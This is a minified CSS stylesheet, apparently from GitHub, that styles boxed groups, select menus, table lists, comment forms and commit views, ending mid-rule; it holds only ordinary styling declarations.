.header-search-input{overflow:hidden}.dark-backdrop{top:0;right:0;bottom:0;left:0;z-index:32;height:100%;background-color:var(--color-primer-canvas-backdrop)}.Header-item--search{flex-grow:100}.boxed-group{position:relative;margin-bottom:30px;border-radius:6px}.boxed-group .Counter{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.boxed-group.flush .boxed-group-inner{padding:0}.boxed-group.condensed .boxed-group-inner{padding:0;font-size:12px}.boxed-group>h3,.boxed-group .heading{display:block;padding:9px 10px 10px;margin:0;font-size:14px;line-height:17px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-bottom:0;border-radius:6px 6px 0 0}.boxed-group>h3 a,.boxed-group .heading a{color:inherit}.boxed-group>h3 a.boxed-group-breadcrumb,.boxed-group .heading a.boxed-group-breadcrumb{font-weight:400;color:var(--color-fg-muted);text-decoration:none}.boxed-group>h3 .avatar,.boxed-group .heading .avatar{margin-top:-4px}.boxed-group .tabnav.heading{padding:0}.boxed-group .tabnav.heading .tabnav-tab.selected{border-top:0}.boxed-group .tabnav.heading li:first-child .selected{border-left-color:var(--color-canvas-default);border-top-left-radius:6px}.boxed-group .tabnav-tab{border-top:0;border-radius:0}.boxed-group code.heading{font-size:12px}.boxed-group.dangerzone>h3{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid var(--color-danger-emphasis)}.boxed-group.dangerzone .boxed-group-inner{border-top:0}.boxed-group.condensed>h3{padding:6px 6px 7px;font-size:12px}.boxed-group.condensed>h3 .octicon{padding:0 6px 0 2px}.dashboard-sidebar .boxed-group{margin-bottom:20px}.boxed-group .bleed-flush{width:100%;padding:0 10px;margin-left:-10px}.boxed-group .compact{margin-top:10px;margin-bottom:10px}.boxed-group-inner{padding:10px;color:var(--color-fg-muted);background:var(--color-canvas-default);border:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.boxed-group-inner .markdown-body{padding:20px 10px 10px;font-size:13px}.boxed-group-inner.markdown-body{padding-top:10px;padding-bottom:10px}.boxed-group-inner.seamless{padding:0}.boxed-group-inner .tabnav{padding-right:10px;padding-left:10px;margin-right:-10px;margin-left:-10px}.boxed-group-inner .tabnav-tab.selected{border-top:1px solid var(--color-border-default)}.boxed-action{float:right;margin-left:10px}.boxed-group-action{position:relative;z-index:2;float:right;margin:5px 10px 0 0}.boxed-group-action.flush{margin-top:0;margin-right:0}.field-with-errors{display:inline}.boxed-group-list{margin:0;list-style:none}.boxed-group-list:first-child>li:first-child{border-top:0}.boxed-group-list>li{display:block;padding:5px 10px;margin-right:-10px;margin-left:-10px;line-height:23px;border-bottom:1px solid var(--color-border-default)}.boxed-group-list>li:first-child{border-top:1px solid var(--color-border-default)}.boxed-group-list>li:last-of-type{border-bottom:0}.boxed-group-list>li.selected{background:var(--color-success-subtle)}.boxed-group-list>li.approved .btn-sm,.boxed-group-list>li.rejected .btn-sm{display:none}.boxed-group-list>li.rejected a{text-decoration:line-through}.boxed-group-list>li .avatar{margin-top:-2px;margin-right:4px}.boxed-group-list>li .octicon{width:24px;margin-right:4px}.boxed-group-list>li .btn-sm{float:right;margin:-1px 0 0 10px}.boxed-group-list>li .BtnGroup{float:right}.boxed-group-list>li .BtnGroup .btn-sm{float:left}.boxed-group.flush .boxed-group-list li{width:auto;padding-right:0;padding-left:0;margin-left:0}.boxed-group-list.standalone{margin-top:-1px}.boxed-group-list.standalone>li:first-child{border-top:0}.boxed-group-table{width:100%;text-align:left}.boxed-group-table tr:last-child td{border-bottom:0}.boxed-group-table th{padding:9px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.boxed-group-table td{padding:9px;vertical-align:top;border-bottom:1px solid var(--color-border-muted)}.ajax-error-message{position:fixed;top:0;left:50%;z-index:9999;width:974px;margin:0 3px;margin-left:-487px;transition:top .5s ease-in-out}.ajax-error-message>.octicon-alert{vertical-align:text-top}.container{width:980px;margin-right:auto;margin-left:auto}.container::before{display:table;content:""}.container::after{display:table;clear:both;content:""}.draft.octicon{color:var(--color-fg-muted)}.closed.octicon,.reverted.octicon{color:var(--color-closed-fg)}.open.octicon{color:var(--color-open-fg)}.closed.octicon.octicon-issue-closed,.merged.octicon{color:var(--color-done-fg)}.progress-bar{display:block;height:15px;overflow:hidden;background-color:var(--color-border-muted);border-radius:6px}.progress-bar .progress{display:block;height:100%;background-color:var(--color-success-emphasis)}.reverse-progress-container{position:relative;height:3px;background-color:var(--color-border-muted);background-image:linear-gradient(to right, var(--color-success-emphasis), var(--color-accent-emphasis), var(--color-done-emphasis), var(--color-danger-emphasis), var(--color-severe-emphasis));background-size:100% 3px}.reverse-progress-bar{position:absolute;right:0;height:100%;background-color:var(--color-border-muted)}.progress-bar-small{height:10px}.select-menu-button::after{display:inline-block;width:0;height:0;vertical-align:-2px;content:"";border:4px solid;border-right-color:transparent;border-bottom-color:transparent;border-left-color:transparent}.select-menu-button.icon-only{padding-left:7px}.select-menu-button.primary::after{border-top-color:var(--color-fg-on-emphasis)}.select-menu-button.primary::after:active{background-color:var(--color-success-emphasis)}.select-menu-button-large::after{margin-left:.25em;border-width:.33em}.select-menu .spinner{float:left;margin:4px 0 0 -24px}.select-menu.active .select-menu-modal-holder{display:block}.select-menu.select-menu-modal-right{position:relative}.select-menu.select-menu-modal-right .select-menu-modal-holder{right:0}.select-menu .select-menu-clear-item{display:block}.select-menu .select-menu-clear-item .octicon{color:inherit}.select-menu .select-menu-clear-item+.select-menu-no-results{display:none !important}.select-menu.is-loading .select-menu-loading-overlay{display:block}.select-menu.is-loading .select-menu-modal{min-height:200px}.select-menu.has-error .select-menu-error{display:block}.select-menu-error{display:none}.select-menu-loading-overlay{position:absolute;top:0;z-index:5;display:none;width:100%;height:100%;background-color:var(--color-canvas-overlay);border:1px solid transparent;border-radius:5px}.select-menu-modal-holder{position:absolute;z-index:30;display:none}.select-menu-modal{position:relative;width:300px;margin-top:4px;margin-bottom:20px;overflow:hidden;font-size:12px;color:var(--color-fg-default);background-color:var(--color-canvas-overlay);background-clip:padding-box;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large)}.select-menu-header,.select-menu-divider{padding:8px 10px;line-height:16px;background:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.select-menu-header .select-menu-title,.select-menu-divider{font-weight:600;color:var(--color-fg-default)}.select-menu-divider{margin-top:-1px;border-top:1px solid var(--color-border-muted)}.select-menu-header .close-button,.select-menu-header .octicon{display:block;float:right;color:var(--color-fg-muted);cursor:pointer}.select-menu-header .close-button:hover,.select-menu-header .octicon:hover{color:var(--color-fg-default)}.select-menu-header:focus{outline:none}.select-menu-filters{background-color:var(--color-canvas-overlay)}.select-menu-text-filter{padding:10px 10px 0}.select-menu-text-filter:first-child:last-child{padding-bottom:10px;border-bottom:1px solid var(--color-border-muted)}.select-menu-text-filter input{display:block;width:100%;max-width:100%;padding:5px;border:1px solid var(--color-border-muted);border-radius:6px}.select-menu-text-filter input::placeholder{color:var(--color-fg-subtle)}.select-menu-tabs{padding:10px 10px 0;border-bottom:1px solid var(--color-border-muted)}.select-menu-tabs ul{position:relative;bottom:-1px}.select-menu-tabs .select-menu-tab{display:inline-block}.select-menu-tabs a,.select-menu-tabs .select-menu-tab-nav{display:inline-block;padding:4px 8px 2px;font-size:12px;font-weight:600;color:var(--color-fg-muted);text-decoration:none;cursor:pointer;background:transparent;border:1px solid transparent;border-radius:6px 6px 0 0}.select-menu-tabs a:hover,.select-menu-tabs .select-menu-tab-nav:hover{color:var(--color-fg-default)}.select-menu-tabs a[aria-selected=true],.select-menu-tabs a.selected,.select-menu-tabs .select-menu-tab-nav[aria-selected=true],.select-menu-tabs .select-menu-tab-nav.selected{color:var(--color-fg-default);background-color:var(--color-canvas-overlay);border-color:var(--color-border-muted);border-bottom-color:var(--color-canvas-overlay)}.select-menu-list{position:relative;max-height:400px;overflow:auto}.select-menu-list.is-showing-new-item-form .select-menu-new-item-form{display:block}.select-menu-list.is-showing-new-item-form .select-menu-no-results,.select-menu-list.is-showing-new-item-form .select-menu-clear-item{display:none}.select-menu-blankslate{padding:16px;text-align:center}.select-menu-blankslate svg{display:block;margin-right:auto;margin-bottom:9px;margin-left:auto;fill:var(--color-fg-muted)}.select-menu-blankslate h3{font-size:14px;color:var(--color-fg-default)}.select-menu-blankslate p{width:195px;margin-right:auto;margin-bottom:0;margin-left:auto}.select-menu-item{display:block;padding:8px 8px 8px 30px;overflow:hidden;color:inherit;cursor:pointer;border-bottom:1px solid var(--color-border-muted)}.select-menu-item .select-menu-item-text .octicon-x{display:none;float:right;margin:1px 10px 0 0;opacity:.6}.select-menu-item:hover{text-decoration:none}.select-menu-item.disabled,.select-menu-item[disabled],.select-menu-item[aria-disabled=true],.select-menu-item.disabled.selected{color:var(--color-fg-muted);cursor:default}.select-menu-item.disabled .description,.select-menu-item[disabled] .description,.select-menu-item[aria-disabled=true] .description,.select-menu-item.disabled.selected .description{color:var(--color-fg-muted)}.select-menu-item.disabled.opaque,.select-menu-item[disabled].opaque,.select-menu-item[aria-disabled=true].opaque,.select-menu-item.disabled.selected.opaque{opacity:.7}.select-menu-item.disabled .select-menu-item-gravatar,.select-menu-item[disabled] .select-menu-item-gravatar,.select-menu-item[aria-disabled=true] .select-menu-item-gravatar,.select-menu-item.disabled.selected .select-menu-item-gravatar{opacity:.5}.select-menu-item .octicon{vertical-align:middle}.select-menu-item .octicon-check,.select-menu-item .octicon-circle-slash,.select-menu-item input[type=radio]:not(:checked)+.octicon-check,.select-menu-item input[type=radio]:not(:checked)+.octicon-circle-slash{visibility:hidden}.select-menu-item.selected .octicon-circle-slash.select-menu-item-icon{color:var(--color-fg-muted) !important}.select-menu-item .octicon-circle-slash{color:var(--color-fg-muted)}.select-menu-item.excluded{background-color:var(--color-canvas-subtle)}.select-menu-item input[type=radio]{display:none}.select-menu-item:focus{outline:none}.select-menu-item:focus .octicon,.select-menu-item:hover .octicon{color:inherit !important}.select-menu-item:hover,.select-menu-item:hover.selected,.select-menu-item:hover.select-menu-action,.select-menu-item:hover .description-inline,.select-menu-item:focus,.select-menu-item:focus.selected,.select-menu-item:focus.select-menu-action,.select-menu-item:focus .description-inline,.select-menu-item.navigation-focus,.select-menu-item.navigation-focus.selected,.select-menu-item.navigation-focus.select-menu-action,.select-menu-item.navigation-focus .description-inline,.select-menu-item.navigation-focus[aria-checked=true],.select-menu-item[aria-checked=true]:focus,.select-menu-item[aria-checked=true]:hover,.select-menu-item[aria-selected=true]:hover,.select-menu-item[aria-selected=true]:focus,.select-menu-item[aria-selected=true].select-menu-action,.select-menu-item[aria-selected=true] .description-inline{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.select-menu-item:hover>.octicon,.select-menu-item:hover.selected>.octicon,.select-menu-item:hover.select-menu-action>.octicon,.select-menu-item:hover .description-inline>.octicon,.select-menu-item:focus>.octicon,.select-menu-item:focus.selected>.octicon,.select-menu-item:focus.select-menu-action>.octicon,.select-menu-item:focus .description-inline>.octicon,.select-menu-item.navigation-focus>.octicon,.select-menu-item.navigation-focus.selected>.octicon,.select-menu-item.navigation-focus.select-menu-action>.octicon,.select-menu-item.navigation-focus .description-inline>.octicon,.select-menu-item.navigation-focus[aria-checked=true]>.octicon,.select-menu-item[aria-checked=true]:focus>.octicon,.select-menu-item[aria-checked=true]:hover>.octicon,.select-menu-item[aria-selected=true]:hover>.octicon,.select-menu-item[aria-selected=true]:focus>.octicon,.select-menu-item[aria-selected=true].select-menu-action>.octicon,.select-menu-item[aria-selected=true] .description-inline>.octicon{color:var(--color-fg-on-emphasis)}.select-menu-item:hover .description,.select-menu-item:hover .description-warning,.select-menu-item:hover.selected .description,.select-menu-item:hover.selected .description-warning,.select-menu-item:hover.select-menu-action .description,.select-menu-item:hover.select-menu-action .description-warning,.select-menu-item:hover .description-inline .description,.select-menu-item:hover .description-inline .description-warning,.select-menu-item:focus .description,.select-menu-item:focus .description-warning,.select-menu-item:focus.selected .description,.select-menu-item:focus.selected .description-warning,.select-menu-item:focus.select-menu-action .description,.select-menu-item:focus.select-menu-action .description-warning,.select-menu-item:focus .description-inline .description,.select-menu-item:focus .description-inline .description-warning,.select-menu-item.navigation-focus .description,.select-menu-item.navigation-focus .description-warning,.select-menu-item.navigation-focus.selected .description,.select-menu-item.navigation-focus.selected .description-warning,.select-menu-item.navigation-focus.select-menu-action .description,.select-menu-item.navigation-focus.select-menu-action .description-warning,.select-menu-item.navigation-focus .description-inline .description,.select-menu-item.navigation-focus .description-inline .description-warning,.select-menu-item.navigation-focus[aria-checked=true] .description,.select-menu-item.navigation-focus[aria-checked=true] .description-warning,.select-menu-item[aria-checked=true]:focus .description,.select-menu-item[aria-checked=true]:focus .description-warning,.select-menu-item[aria-checked=true]:hover .description,.select-menu-item[aria-checked=true]:hover .description-warning,.select-menu-item[aria-selected=true]:hover .description,.select-menu-item[aria-selected=true]:hover .description-warning,.select-menu-item[aria-selected=true]:focus .description,.select-menu-item[aria-selected=true]:focus .description-warning,.select-menu-item[aria-selected=true].select-menu-action .description,.select-menu-item[aria-selected=true].select-menu-action .description-warning,.select-menu-item[aria-selected=true] .description-inline .description,.select-menu-item[aria-selected=true] .description-inline .description-warning{color:var(--color-fg-on-emphasis)}.select-menu-item:hover.disabled,.select-menu-item[disabled]:hover,.select-menu-item[aria-disabled=true]:hover,.select-menu-item[aria-selected=true].disabled,.select-menu-item.navigation-focus.disabled{color:var(--color-fg-muted);background-color:var(--color-canvas-overlay)}.select-menu-item:hover.disabled .description,.select-menu-item[disabled]:hover .description,.select-menu-item[aria-disabled=true]:hover .description,.select-menu-item[aria-selected=true].disabled .description,.select-menu-item.navigation-focus.disabled .description{color:var(--color-fg-muted)}.select-menu-item>.octicon-dash{display:none}.select-menu-item[aria-checked=mixed]>.octicon-check{display:none}.select-menu-item[aria-checked=mixed]>.octicon-dash{display:block}.select-menu-item input:checked+.octicon-check{color:inherit;visibility:visible}details-menu .select-menu-item[aria-checked=true],details-menu .select-menu-item[aria-selected=true],.select-menu-item.selected{color:var(--color-fg-default)}details-menu .select-menu-item[aria-checked=true] .description,details-menu .select-menu-item[aria-selected=true] .description,.select-menu-item.selected .description{color:var(--color-fg-muted)}details-menu .select-menu-item[aria-checked=true]>.octicon,details-menu .select-menu-item[aria-selected=true]>.octicon,.select-menu-item.selected>.octicon{color:var(--color-fg-default)}details-menu .select-menu-item[aria-checked=true] .octicon-check,details-menu .select-menu-item[aria-checked=true] .octicon-circle-slash,details-menu .select-menu-item[aria-selected=true] .octicon-check,details-menu .select-menu-item[aria-selected=true] .octicon-circle-slash,.select-menu-item.selected .octicon-check,.select-menu-item.selected .octicon-circle-slash{color:inherit;visibility:visible}details-menu .select-menu-item[aria-checked=true] .select-menu-item-text .octicon-x,details-menu .select-menu-item[aria-selected=true] .select-menu-item-text .octicon-x,.select-menu-item.selected .select-menu-item-text .octicon-x{display:block;color:inherit}.select-menu.label-select-menu .select-menu-item:active{background-color:transparent !important}.select-menu-item:hover .Label,.select-menu-item:focus .Label{color:inherit;border-color:currentColor}.select-menu-item a{color:inherit;text-decoration:none}.select-menu-item .hidden-select-button-text{display:none}.select-menu-item .css-truncate-target{max-width:100%}.select-menu-item-icon{float:left;margin-left:-20px}form.select-menu-item>div:first-child{display:none !important}.select-menu-list:last-child .select-menu-item:last-child,.select-menu-item.last-visible{border-bottom:0;border-radius:0 0 6px 6px}.select-menu-action{font-weight:400;color:var(--color-fg-default)}.select-menu-action>.octicon{color:inherit}.select-menu-action:hover{color:var(--color-accent-fg)}.select-menu-no-results{display:none;padding:9px;color:var(--color-fg-muted);cursor:auto}.select-menu-list.filterable-empty .select-menu-no-results,.select-menu-no-results:only-child{display:block}.select-menu-button-gravatar,.select-menu-item-gravatar{width:20px;overflow:hidden;line-height:0}.select-menu-button-gravatar img,.select-menu-item-gravatar img{display:inline-block;width:20px;height:20px;border-radius:6px}.select-menu-item-gravatar{float:left;width:20px;height:20px;margin-right:8px;border-radius:6px}.select-menu-button-gravatar{float:left;margin-right:5px}.select-menu-item-text{display:block;text-align:left}.select-menu-item-text .description{display:block;max-width:265px;font-size:12px;color:var(--color-fg-muted)}.select-menu-item-text .description-inline{font-size:12px;color:var(--color-fg-muted)}.select-menu-item-text .description-warning{color:var(--color-danger-fg)}.select-menu-item-text mark{font-weight:600;color:inherit;background-color:inherit}.select-menu-item-heading{display:block;margin-top:0;margin-bottom:0;font-size:14px;font-weight:600}.select-menu-item-heading .description{display:inline;font-weight:400}.select-menu-new-item-form{display:none}.select-menu-new-item-form .octicon{color:var(--color-accent-fg)}.table-list{display:table;width:100%;color:var(--color-fg-muted);table-layout:fixed;border-bottom:1px solid var(--color-border-default)}.table-list ol{list-style-type:decimal}.table-list-bordered{border-bottom-color:var(--color-border-default)}.table-list-bordered .table-list-cell:first-child{border-left:1px solid var(--color-border-default)}.table-list-bordered .table-list-cell:last-child{border-right:1px solid var(--color-border-default)}.table-list-item{position:relative;display:table-row;list-style:none}.table-list-item.unread .table-list-cell:first-child{box-shadow:2px 0 0 var(--color-accent-emphasis) inset}.table-list-cell{position:relative;display:table-cell;padding:8px 10px;font-size:12px;vertical-align:top;border-top:1px solid var(--color-border-default)}.table-list-cell.flush-left{padding-left:0}.table-list-cell.flush-right{padding-right:0}.table-list-header{position:relative;margin-top:20px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px 6px 0 0}.table-list-header::before{display:table;content:""}.table-list-header::after{display:table;clear:both;content:""}.table-list-header .btn-link{position:relative;display:inline-block;padding-top:13px;padding-bottom:13px;font-weight:400}.table-list-heading{margin-left:10px}.table-list-header-meta{display:inline-block;padding-top:13px;padding-bottom:13px;color:var(--color-fg-muted)}.table-list-header-toggle h4{padding:12px 0}.table-list-filters:first-child .table-list-header-toggle:first-child{padding-left:16px}.table-list-header-toggle.states .selected{font-weight:600}.table-list-header-toggle .btn-link{color:var(--color-fg-muted)}.table-list-header-toggle .btn-link .octicon{margin-right:4px}.table-list-header-toggle .btn-link:hover{color:var(--color-fg-default);text-decoration:none}.table-list-header-toggle .btn-link.selected,.table-list-header-toggle .btn-link.selected:hover{color:var(--color-fg-default)}.table-list-header-toggle .btn-link+.btn-link{margin-left:10px}.table-list-header-toggle .btn-link:disabled,.table-list-header-toggle .btn-link.disabled{pointer-events:none;opacity:.5}.table-list-header-toggle .select-menu{position:relative}.table-list-header-toggle .select-menu-item[aria-checked=true],.table-list-header-toggle .select-menu-item.selected{font-weight:600}.table-list-header-toggle .select-menu-button{padding-right:15px;padding-left:15px}.table-list-header-toggle .select-menu-button:hover,.table-list-header-toggle .select-menu-button.selected,.table-list-header-toggle .select-menu-button.selected:hover{color:var(--color-fg-default)}.table-list-header-toggle .select-menu-modal-holder{right:10px}.table-list-header-toggle .select-menu-modal-holder .select-menu-modal{margin-top:-1px}.table-list-header-next{margin-top:20px;margin-bottom:-1px}.table-list-header-next .table-list-header-select-all{padding-left:14px}.table-list-header-next .select-all-dropdown{padding-top:10px;padding-bottom:10px}.table-list-triage{display:none}.triage-mode .table-list-filters{display:none !important}.triage-mode .table-list-triage{display:block}.breadcrumb{font-size:16px;color:var(--color-fg-muted)}.breadcrumb .separator{white-space:pre-wrap}.breadcrumb .separator::before,.breadcrumb .separator::after{content:" "}.breadcrumb strong.final-path{color:var(--color-fg-default)}.capped-cards{list-style:none}.capped-card-content{display:block;background:var(--color-canvas-subtle)}.capped-card-content::before{display:table;content:""}.capped-card-content::after{display:table;clear:both;content:""}.details-collapse .collapse{position:relative;display:none;height:0;overflow:hidden;transition:height .35s ease-in-out}.details-collapse.open .collapse{display:block;height:auto;overflow:visible}.collapsible-sidebar-widget-button{display:flex;padding:0;align-items:center;background-color:transparent;border:0;justify-content:space-between}.collapsible-sidebar-widget-indicator{transition:transform .25s;transform:translate(0, 0) translate3d(0, 0, 0)}.collapsible-sidebar-widget-loader{display:none;visibility:hidden;opacity:0;transition:opacity .25s;animation-play-state:paused}.collapsible-sidebar-widget-content{width:100%;max-height:0;overflow:hidden;opacity:0;transition:max-height .25s ease-in-out,opacity .25s ease-in-out}.collapsible-sidebar-widget-loading .collapsible-sidebar-widget-indicator{display:none}.collapsible-sidebar-widget-loading .collapsible-sidebar-widget-loader{display:block;visibility:visible;opacity:1;animation-play-state:running}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-content{max-height:100%;overflow:visible;opacity:1}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-indicator{display:block;transform:rotate(180deg)}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-loader{display:none;visibility:hidden;opacity:0}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-active-hidden{display:none;opacity:0}.comment .email-format{line-height:1.5}.previewable-edit .previewable-comment-form{display:none}.previewable-edit .previewable-comment-form::before{display:table;content:""}.previewable-edit .previewable-comment-form::after{display:table;clear:both;content:""}.previewable-edit .previewable-comment-form .tabnav-tabs{display:inline-block}.previewable-edit .previewable-comment-form .form-actions{float:right;margin-right:8px;margin-bottom:8px}.previewable-edit.is-comment-editing .timeline-comment-header{display:none !important}.is-comment-editing .previewable-comment-form{display:block}.is-comment-editing .timeline-comment-actions,.is-comment-editing .edit-comment-hide{display:none}.is-comment-loading .previewable-comment-form{opacity:.5}.comment-show-stale{display:none}.is-comment-stale .comment-show-stale{display:block}.comment-body{width:100%;padding:16px;overflow:visible;font-size:14px}.comment-body .highlight{overflow:visible !important;background-color:transparent}.comment-form-textarea{width:100%;max-width:100%;height:100px;min-height:100px;margin:0;line-height:1.6}.comment-form-textarea.dragover{border:solid 1px var(--color-accent-emphasis)}.hide-reaction-suggestion:hover::before,.hide-reaction-suggestion:hover::after,.hide-reaction-suggestion:active::before,.hide-reaction-suggestion:active::after{display:none}.reaction-suggestion[data-reaction-suggestion-message]:hover::before,.reaction-suggestion[data-reaction-suggestion-message]:hover::after{display:inline-block}.reaction-suggestion[data-reaction-suggestion-message]::before,.reaction-suggestion[data-reaction-suggestion-message]::after{display:inline-block;text-decoration:none;animation-name:tooltip-appear;animation-duration:.1s;animation-fill-mode:forwards;animation-timing-function:ease-in;animation-delay:0s}.reaction-suggestion[data-reaction-suggestion-message]::after{content:attr(data-reaction-suggestion-message)}.discussion-topic-header{position:relative;padding:8px;word-wrap:break-word}.comment-form-error{padding:16px 8px;margin:8px;color:var(--color-fg-default);background-color:var(--color-danger-subtle);border:1px solid var(--color-danger-emphasis);border-radius:6px}.email-format{line-height:1.5em !important}.email-format div{white-space:pre-wrap}.email-format .email-hidden-reply{display:none;white-space:pre-wrap}.email-format .email-hidden-reply.expanded{display:block}.email-format .email-quoted-reply,.email-format .email-signature-reply{padding:0 16px;margin:16px 0;color:var(--color-fg-muted);border-left:4px solid var(--color-border-default)}.email-format .email-hidden-toggle a{display:inline-block;height:12px;padding:0 8px;font-size:12px;font-weight:600;line-height:6px;color:var(--color-fg-default);text-decoration:none;vertical-align:middle;background:var(--color-neutral-muted);border-radius:1px}.email-format .email-hidden-toggle a:hover{background-color:var(--color-accent-muted)}.email-format .email-hidden-toggle a:active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.comment-email-format div{white-space:normal}.comment-email-format .email-hidden-reply{display:none;white-space:normal}.comment-email-format .email-hidden-reply.expanded{display:block}.comment-email-format blockquote,.comment-email-format p{margin:0}.locked-conversation .write-tab,.locked-conversation .preview-tab{color:#c6cbd1}.write-tab:focus,.preview-tab:focus{outline:1px dotted var(--color-accent-emphasis)}.manual-file-chooser-transparent{min-height:0;overflow:hidden;opacity:.01}.manual-file-chooser-transparent::-webkit-file-upload-button{cursor:pointer}.manual-file-chooser-transparent:focus{opacity:1 !important}.markdown-body .highlight:hover .zeroclipboard-container,.markdown-body .snippet-clipboard-content:hover .zeroclipboard-container{display:block;animation:fade-in 200ms both}.markdown-body .highlight .zeroclipboard-container,.markdown-body .snippet-clipboard-content .zeroclipboard-container{display:none;animation:fade-out 200ms both}.rich-diff clipboard-copy{display:none}.commit-form{position:relative;padding:16px;border:1px solid var(--color-border-default);border-radius:6px}.commit-form::after,.commit-form::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.commit-form::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.commit-form::before{background-color:var(--color-border-default)}.commit-form .input-block{margin-top:8px;margin-bottom:8px}.commit-form-avatar{float:left;margin-left:-64px;border-radius:6px}.commit-form-actions::before{display:table;content:""}.commit-form-actions::after{display:table;clear:both;content:""}.commit-form-actions .BtnGroup{margin-right:4px}.merge-commit-message{resize:vertical}@media(max-width: 768px){.commit-form::after,.commit-form::before{display:none !important}}.commit-sha{padding:.2em .4em;font-size:90%;font-weight:400;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-muted);border-radius:.2em}.commit .commit-title,.commit .commit-title a{color:var(--color-fg-default)}.commit .commit-title.blank,.commit .commit-title.blank a{color:var(--color-fg-muted)}.commit .commit-title .issue-link{font-weight:600;color:var(--color-accent-fg)}.commit .sha-block,.commit .sha{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}.commit.open .commit-desc{display:block}.commit-link{font-weight:400;color:var(--color-accent-fg)}.commit-ref{position:relative;display:inline-block;padding:0 4px;font:.85em/1.8 ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-muted);white-space:nowrap;background-color:var(--color-accent-subtle);border-radius:6px}.commit-ref .user{color:var(--color-accent-fg)}a.commit-ref:hover{color:var(--color-accent-fg);text-decoration:none;background-color:var(--color-accent-subtle)}.commit-desc{display:none}.commit-desc pre{max-width:700px;margin-top:8px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:11px;line-height:1.45;color:var(--color-fg-default);white-space:pre-wrap}.commit-desc+.commit-branches{padding-top:8px;margin-top:2px;border-top:solid 1px var(--color-border-subtle)}.commit-author-section{color:var(--color-fg-default)}.commit-author-section span.user-mention{font-weight:400}.commit-tease-sha{display:inline-block;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:90%;color:var(--color-fg-default)}.commits-list-item[aria-selected=true],.commits-list-item.navigation-focus{background:#f6fbff}.commits-list-item .commit-title{margin:0;font-size:16px;font-weight:600;color:var(--color-fg-default)}.commits-list-item .commit-meta{margin-top:1px;font-weight:400;color:var(--color-fg-muted)}.commits-list-item .status .octicon{height:14px;line-height:14px}.commits-list-item .commit-author{color:var(--color-fg-muted)}.commits-list-item .octicon-arrow-right{margin:0 4px}.commits-list-item .btn-outline{margin-top:2px}.commits-list-item .commit-desc pre{margin-top:4px;margin-bottom:8px;color:var(--color-fg-muted)}.commits-list-item .commit-desc pre a{word-break:break-word}.commit-indicator{margin-left:4px}.commit-links-group{margin-right:4px}.commits-list-item+.commits-list-item{border-top:1px solid var(--color-border-default)}.full-commit{padding:8px 8px 0;margin:8px 0;font-size:14px;background:var(--color-neutral-subtle);border:1px solid var(--color-border-default);border-radius:6px}.full-commit:first-child{margin-top:0}.full-commit div.commit-title{font-size:16px;font-weight:600;color:var(--color-fg-default)}.full-commit .branches-list{display:inline;margin-right:8px;margin-left:2px;vertical-align:middle;list-style:none}.full-commit .branches-list li{display:inline-block;padding-left:4px;font-weight:600;color:var(--color-fg-default)}.full-commit .branches-list li::before{padding-right:4px;font-weight:400;content:"+"}.full-commit .branches-list li:first-child{padding-left:0}.full-commit .branches-list li:first-child::before{padding-right:0;content:""}.full-commit .branches-list li.loading{font-weight:400;color:var(--color-fg-muted)}.full-commit .branches-list li.pull-request{font-weight:400;color:var(--color-fg-muted)}.full-commit .branches-list li.pull-request::before{margin-left:-8px;content:""}.full-commit .branches-list li.pull-request-error{margin-bottom:-1px}.full-commit .branches-list li a{color:inherit}.full-commit .commit-meta{padding:8px;margin-right:-8px;margin-left:-8px;background:var(--color-canvas-default);border-top:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.full-commit .sha-block{margin-left:16px;font-size:12px;line-height:24px;color:var(--color-fg-muted)}.full-commit .sha-block>.sha{color:var(--color-fg-default)}.full-commit .sha-block>a{color:var(--color-fg-default);text-decoration:none;border-bottom:1px dotted var(--color-border-muted)}.full-commit .sha-block>a:hover{border-bottom:1px solid var(--color-border-default)}.full-commit .commit-desc{display:block;margin:-4px 0 8px}.full-commit .commit-desc pre{max-width:100%;overflow:visible;font-size:13px;word-wrap:break-word}.commit-branches{font-size:12px;color:var(--color-fg-muted);vertical-align:middle}.commit-branches .octicon{vertical-align:middle}.commit-build-statuses{position:relative;display:inline-block;text-align:left}.commit-build-statuses .dropdown-menu{min-width:362.6666666667px;max-width:544px;padding-top:0;padding-bottom:0}.commit-build-statuses .dropdown-menu .merge-status-list{max-height:170px;border-bottom:0}.commit-build-statuses .dropdown-menu-w,.commit-build-statuses .dropdown-menu-e{top:-11px}.commit-build-statuses .merge-status-item:last-child{border-radius:0 0 6px 6px}.dropdown-signed-commit .dropdown-menu{width:260px;margin-top:8px;font-size:14px;line-height:1.4;white-space:normal}.dropdown-signed-commit .dropdown-menu::after{border-bottom-color:var(--color-canvas-subtle)}.dropdown-signed-commit .dropdown-menu-w{top:-28px;margin-top:0}.dropdown-signed-commit 